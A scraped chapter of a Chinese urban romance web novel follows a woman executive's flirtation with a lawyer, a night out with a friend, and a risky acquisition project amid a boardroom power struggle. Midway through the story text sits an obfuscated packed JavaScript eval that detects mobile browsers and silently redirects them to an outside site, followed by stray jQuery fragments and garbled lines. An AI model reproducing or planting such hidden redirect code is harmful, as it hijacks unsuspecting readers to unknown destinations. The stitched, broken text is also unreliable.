文趣网 > 都市小说 > 当我是人形提款机? > 10. 守株待兔
    自上次Dreams酒吧之后,姜厌和毕清也的关系就像无事自转的地球,早也转晚也转,匀速前进。

    毕清也会把每日所到之处打卡一样的汇报给姜厌,有时是他和当事人在外滩开商讨会,有时是他在法国餐厅吃澳洲空运来的牛排,还有他和律师行业的大拿们在米其林餐厅聚餐的照片。

    不过无一例外,都带着毕清也式的精致与格调。

    这种时候,姜厌总会保持着礼貌得体的欣赏,礼貌的回复,不逾矩半步。

    偶尔,毕清也也会邀请姜厌一同吃饭,不过都被她给拒绝了,有时是时机不合适,有时是姜厌真的在忙,抽不出时间。

    不过她也因此知道,毕清也最近也在因为律所的事忙的焦头烂额。

    因为,他在竞选成为恒忠律所的合伙人。

    这个位置他觊觎很久了。

    恒忠律师事务所。

    毕清也看着早上发出去的早安,没等几分钟就等到了姜厌的回复,呷了口黑咖啡,脸上带着淡淡的笑容。

    也不枉他起个大早到公司,就为拍下今天的朝阳。

    朝霞灿烂,漫卷天边。

    姜厌收到早安图片的那一刻,刚坐进办公室,唇角上扬,连带着心情都不由自主的愉快起来。

    这是她从前,从未体验过的情绪。

    毕清也原以为这次的邀约一定会有个满意的答复,可在等到姜厌第二次的拒绝时,还是肉眼可见的失落起来。

    刚买完咖啡回来的刘津路过毕清也的办公室,见他皱着眉,一副被铁削了的样子,忍不住张口道:“哟,毕律这是怎么了,被当事人折磨的一宿没睡?眼袋都快掉到这儿了!”

    他边说边比划,“要不这咖啡给你,提提神?”

    刘津是事务所来的新人,人挺机灵,业务能力也强,就是有时候眼力见不太好使,话总说掉到地上,属于半个乐子人。

    毕清也抬头瞧了一眼,冷冷的,没搭理他。

    刘津自讨没趣,讪讪离开。

    傍晚,毕清也站在公司走廊的玻璃墙前,双手抱臂朝下观望。

    彼时,姜厌的红色超跑刚刚离开,汽车震动的尾音仍在街尾环绕,毕清也吸了下鼻子。

    突然,他感觉后背一暖,凑过来一张脸。

    刘津那张半圆的娃娃脸凑到毕清也跟前,眼尾带笑,猝不及防道:“怎么,女神走了,暗自失落了?”

    正巧这时,黎知幸恰好从走廊上路过,听到两人对话抬眼朝毕清也望来。

    黎知幸是事务所的老人,比毕清也进入恒忠的时间还要早,也是老板面前的红人,平时在公司内嚣张跋扈惯了,没人敢得罪。

    她一头利落的短发,瑞凤眼上下扫视,整个人气场强大,有种不怒自威的气势。

    毕清也回过头注意到她,不自觉的皱眉眯起了眼睛,拍拍刘津的背,高声调笑:“说什么呢,我哪有什么女神?!”

    说完便走开了。

    话里笃定的语气,让刘津愣在了原地。

    “不是.....”

    那他天天发信息早安午安,跟移动打卡机一样随时报备的人是谁?

    上次他到毕清也办公室整理资料,不小心看到他电脑的聊天界面,明明是跟金澜的姜总监没错啊!刘津挠了挠头,半懵半愣的走掉了。

    /

    姜厌回到家,泡完澡敷完面膜坐在客厅沙发,拿起来电话。

    “好,一会见。”

    她放下手机,起身到房间去换衣服。

    最近和毕清也一样忙的人还有温觉。

    距上次让她帮忙推销轻源谷物代餐粉刚过完半个月,温觉的服装店就大张旗鼓的隆重开业了。

    她大学学的是珠宝设计,天南海北的飞去各地看展览。

    也因此培养了她的时尚敏锐度,再加上温觉天生就对服装有很高的鉴赏能力,因此,终于决定自己做品牌开服装店。

    整整两个星期,姜厌都没有见到她。

    Dreams酒吧。

    两人坐在沙发上轻轻碰杯,背靠着柔软的沙发,在酒吧昏暗灯光和悠扬音乐的衬托下终于放松下来。

    “阿厌,你都不知道我最近有多累!自从我的这个J·W品牌上线运营,天南海北的订单都有!”咬着吸管喝了口果汁,温觉喘口气道:“我现在才知道,踩着高跟鞋一家家的工厂跑是什么感觉,你上班这么久,一定比我还要辛苦吧!”

    不知不觉,温觉放下饮料靠在姜厌怀里,抬头看着她的下巴道。

    姜厌被她抱怨语气里十分有九分的撒娇逗笑,轻轻抚上温觉乌黑亮丽的头发,像哄一只柔软的大猫,语气温柔:“那也说明了你很厉害呀,一个人能快速成立起品牌,搞定线下,亲力亲为,我的小公主终于要决定当女王啦。”

    温觉伸出手,嘟起粉嫩的红唇,“阿厌,你看我最近刚做的指甲,劈叉的劈叉,颜色也掉完了,谁知道忙事业这么累,还不如一辈子躺着算了!”

    姜厌笑笑,还未说话,温觉却从她怀里‘腾’地坐起来。

    “不能不能,”她拍拍脸,试图让自己清醒,“我跟你讲,我阿爸昨天刚跟我说让我去相亲,还说什么女孩子不要太拼事业,找个正经人嫁了才是关键!”

    “正经人正不正经我是不知道,他这个思想有多封建我是从头清楚到尾的!”

    最后一句话是用湾城本地话讲出来的,嗲嗲的带着颤音,别提有多可爱。

    姜厌轻轻一笑,却被温觉抱怨。

    不过她知道,温觉其实对结婚这件事并不反感。

    意料之中,不一会,温觉便自己说起来,“其实,我也不是不想快点结婚,只是奈何缘分迟迟不来,遇不到对的人啊!”

    温觉仰天长叹。

    “怎么会,相亲基数增多总会遇到看对眼的。”

    温觉对姜厌这种学霸式的思维,将相亲当做模拟题的训练场十分不理解。

    白了她一眼,却突然想到个人,嘴角歪的咧开了花。

    “你跟毕律师,最近怎么样啦!”

    姜厌冷眼瞧了一瞬,“你不是不喜欢他吗?”

    “上次在酒吧,毕律师挺身而出的事,我还是有点印象的!”温觉挑眉,“总体来说,还不错!”

    姜厌勾起红唇,眼神里忍不住溢满柔情。

    “早点拿下,攻略毕律师的心。”温觉起哄道。

    “怎么不是他攻略我的呢?”

    “那不是因为,你的心只能被我占据嘛!”

    听着温觉撒娇,姜厌无奈的笑起来,眉眼都舒展开,忍不住伸手揉了揉温觉的头发,眼神里带着独有的宠溺。

    她们这一对姐妹花在酒吧的一饮一啄,都被一双特别的眼睛注视着,从未察觉。

    淮枳明明已经休假,却还是坚持到酒吧上夜班,连经理都劝他趁着休息日把手臂上的伤好好养养,可淮枳却不肯。

    他站在吧台前,手里拿着调酒杯,眼神一厘一毫的全都落在姜厌一个人的身上。

    酒吧光影绰绰,只见淮枳的左耳多了颗闪烁的钻石耳钉。

    与他青涩稚嫩的孤僻形象不符,尤其当他垂下眼睛时,长长的睫毛被额前的碎发覆盖,独自闪耀的耳钻也像他清瘦的背影一样,形单影只。

    姜厌酒杯里的酒快喝完时,突然被一只好看的手吸引,纤细修长,冷光灯下泛着冷冷的白,如琉璃般疏离。

    姜厌抬起头,淮枳身着西装,身上有股淡淡的野草清香,俯身端着托盘,深邃的眼眸跌跌撞撞的望过来。

    “本店的新品,要...尝尝吗?”

    /

    三个月后。

    金澜集团办公区,公司员工吵闹喧嚣,沸腾一片。

    早上,姜厌出了电梯,刚踏入公司,漫天的彩带与礼花骤然而降,比所有人的欢呼声更快降落的,是细碎的星光纸屑与五彩缤纷的银光纸。

    落在她的长发与肩头,亮眼又鲜活。

    同事们纷纷围上前,高声祝贺她,满是由衷的赞叹与欣喜。

    “姜总监!您太厉害了!短短三个月就盘活项目,让亏损企业直接扭亏为盈!”

    “不仅完成对赌,还超额创收!您简直是我们金澜的传奇!”

    赞誉声络绎不绝。

    姜厌抬手抚掉身上的礼花,眉眼含笑,唇角噙着浅淡得体的笑意,她站定后从包里拿出一摞结结实实的红包,示意助理Tina分发下去。

    “是团队的共同努力,这一阵子辛苦大家,后续我们继续齐心协力,继续把业务做稳做大!”

    这番话说的慷慨激昂,又有红包的加持,公司员工振臂高呼,喊出誓死要追随姜厌的豪言壮语,被她温柔的低声遣散了。

    姜厌摇头浅笑,不在大厅多逗留,抬脚走向自己的办公室。

    途经陆修远门口时,只见他抱臂站在门外,像看物件一样冷冷的注视着姜厌。

    随后,一道冷峭的男声骤然叫出姜厌的名字。

    “姜厌。”

    “别以为你这次侥幸翻盘,就稳赢了!”

    “你自己心里清楚,这业绩到底是怎么提上来的!”

    陆修远毕竟是从美国空降来的,即使根基不牢,可眼线到底还是有的。

    他清楚姜厌做的那些动作,因此眼里带着轻视,语有不甘。

    姜厌无奈笑笑,抬头见陆修远一身挺括蓝西装,闪闪发亮的领带夹闪烁着清晨窗外射进来的余晖,从头到脚精英味十足,就是陆修远眉眼间,永远带着挥之不去的傲慢。

    姜厌神色淡然:“你什么意思?”

    “等这波热度过去,订单断崖式下滑,我看你还能不能笑得出来。”

    陆修远薄唇抿紧,眼底是笃定的轻视。

    姜厌心底冷笑,从鼻子冷哼一声。

    为什么笑不出来?

    她曾在狭小的出租屋里通宵改方案,熬到天昏地暗;在万家团圆的阳历新年,一个人在医院挂点滴,咬牙撑过除夕。最难熬的日子都熬过来了,如今前路渐宽,她为什么不敢笑?

    可她懒得与陆修远争辩。

    她太了解他的性子,越是对峙较劲,就越是纠缠不休。

    姜厌压下心底思绪,淡淡颔首后离开,不做多余辩驳。

    回到办公室尚未坐稳,一通内线电话在耳边响起,姜厌斜了眼,是傅琛的专属传唤。

    总裁办公室内。

    傅琛从真皮旋转椅上回过身,将一叠厚重的企划资料轻轻推至姜厌面前,纸张落桌,轻响沉敛。“看看吧!”

    姜厌拿起那摞资料仔细的翻看,视线扫过纸面的瞬间,心头一沉。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17956389|214259||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    这是国民老牌梨花霜的投资并购企划书。

    梨花霜深耕市场多年,国民度极高,主营日化与轻家纺板块,根基深厚。可从去年开始,线上新锐品牌强势冲击市场,线下渠道被层层挤压,营收直接下滑十二个百分点,再加上线上转型屡屡受阻,整个企业的发展陷入瓶颈,曾经人人皆知的国民品牌如今已成明日黄花。

    现在品牌资金链承压,急需外部资本注入,完成产业升级与战略转型。

    资本市场如战场,向来风向摩擦,危机与机遇并存。

    姜厌不用想就知道,这桩合作,远比开口笑项目棘手百倍!

    开口笑只是小型初创企业,结构简单、决策灵活、极易盘活;可梨花霜却是老牌行业巨头,内部层级繁杂、派系林立。

    最近还正好赶上董事长换届选举、高层动荡不安,企业核心根基不稳,内部矛盾重重,暗流汹涌。

    商场从来残酷无情,浪潮更迭,新旧洗牌,哪怕是百年巨头,一旦跟不上时代节奏,也会被瞬间拍倒在沙滩之上。

    9999的道理姜厌不是不懂。

    她放下资料,抬头看着傅琛,眼底带着丝谨慎。

    “这个项目,为什么不交给企划部?”

    金澜的企划部专业团队齐全、人力充足,这种难啃的硬骨头,本该由团队分摊攻坚,而不是全压在她一个人身上。

    这对于她来说或许是个挑战,可对于公司其他的员工并不公平。

    傅琛听完姜厌的话,放下钢笔,似乎早就想到她会这么说。

    眼里带着股欣然笑色,往后躺了躺,语气沉着有力:“姜厌,这不是普通的项目,这是金澜未来的立足根基。”

    “美国总部的情况,你应该有所耳闻。”

    说话间,李特助识趣的走出办公室,替他们关好了门。

    傅琛挽起规整的衬衫袖口,起身走向落地窗。

    望着楼下繁华的城市楼宇,重重吐出一口气。

    他侧身回头,黑眸沉沉,直直的探进姜厌的眼底,一字一句,清晰郑重道:“陆修远空降到公司,名义上是帮我们梳理高风险资产、完成跨境收益权转让,实则是为了做空本土资本,一步步蚕食、甚至掏空金澜。”

    轰——

    这句话一出,瞬间击穿了姜厌心中所有的侥幸。

    她下意识后退半步,高跟鞋磕在地面,发出一声细微的踉跄声响,内心无比震撼。

    其实,她早已经知晓金澜被美资收购,总部空降高管、替换本土团队并争夺业务管理权的态势,是既定趋势。

    可姜厌未敢想,局势已经恶劣到这般地步!

    金澜是她职业生涯的起点,是她步步扎根、奋力成长的地方。姜厌绝不甘心,看着这座深耕本土的实业集团,沦为美方全球化布局的棋子,慢慢被瓦解、被架空,最终变成一具空壳。

    迅速稳住心神,指尖紧紧攥住手中的企划书,纸面抚过掌心,姜厌眸一沉,冷静道:“需要我做什么?”

    听闻这句话,傅琛转过身,身形挺拔沉稳,定制黑西装衬得气场强大。

    他凝视着她,目光中带有欣赏、笃定,还有一丝深藏的算计,像在打量一件独一无二的罕见的艺术品。

    早已被他锻炼得炉火纯青。

    “公司内部已经被美方安插眼线,企划部全员我都信不过!”

    他语气郑重,交付姜厌全部的信任和期待。

    “如今的金澜,能扛事、能成事、我唯一敢托付的人,只有你。”

    短暂停顿后,傅琛再度开口,可这次姜厌清楚是傅琛专为她定制的‘钓饵’方针。

    “你不是一直厌烦陆修远的针对与掣肘吗?”

    “只要拿下这个项目,我给你和他同级别的职位。从今往后,他无权干预你的任何工作决策,再无资格对你指手画脚。”

    此话一出,办公室原本就冷肃的空气瞬间下降几度,抬眸的瞬间,姜厌就已知晓其中所有利害关系。

    她要迎接的这一仗,从来不是简单的升职加薪、个人博弈。

    是本土实业与外来资本的博弈与翻盘,是守住金澜根基的关键一战!

    只有迎难而上,抓住机遇做大本土营收、稳固自有产业底盘,才能打破美方的架空蚕食,守住所有人的立足之地。

    即使内心波涛汹涌,可姜厌的神色依旧如往常般平静,镇定。

    她抬起双眸,眼神沉稳坚定,一字一句道:“这个项目交给我,你放心。”

    傅琛望着她离开的背影,身姿挺拔,步履坚定。

    一如他刚认识姜厌初到公司的背影一样,都带着能震慑人心的魅力。

    不知不觉,便看地走了神。

    傅琛坐进真皮沙发,长吁了口气。

    没有人会知道,在这步棋里,他藏着几味不为人知的私心。

    就连姜厌自己,也未必会察觉。

    于他而言,稳住金澜、守住实业,是公事。

    而绑定姜厌、守住不曾言说的心动,才是他藏在这份企划案中最为深沉的心思。

    除了刚才的承诺外,傅琛还暗自决定。

    只要姜厌成功拿下这桩梨花霜项目,他便将越澜温泉山庄的部分股份无偿赠予她。

    而这家温泉山庄最大的股东,便是傅琛自己。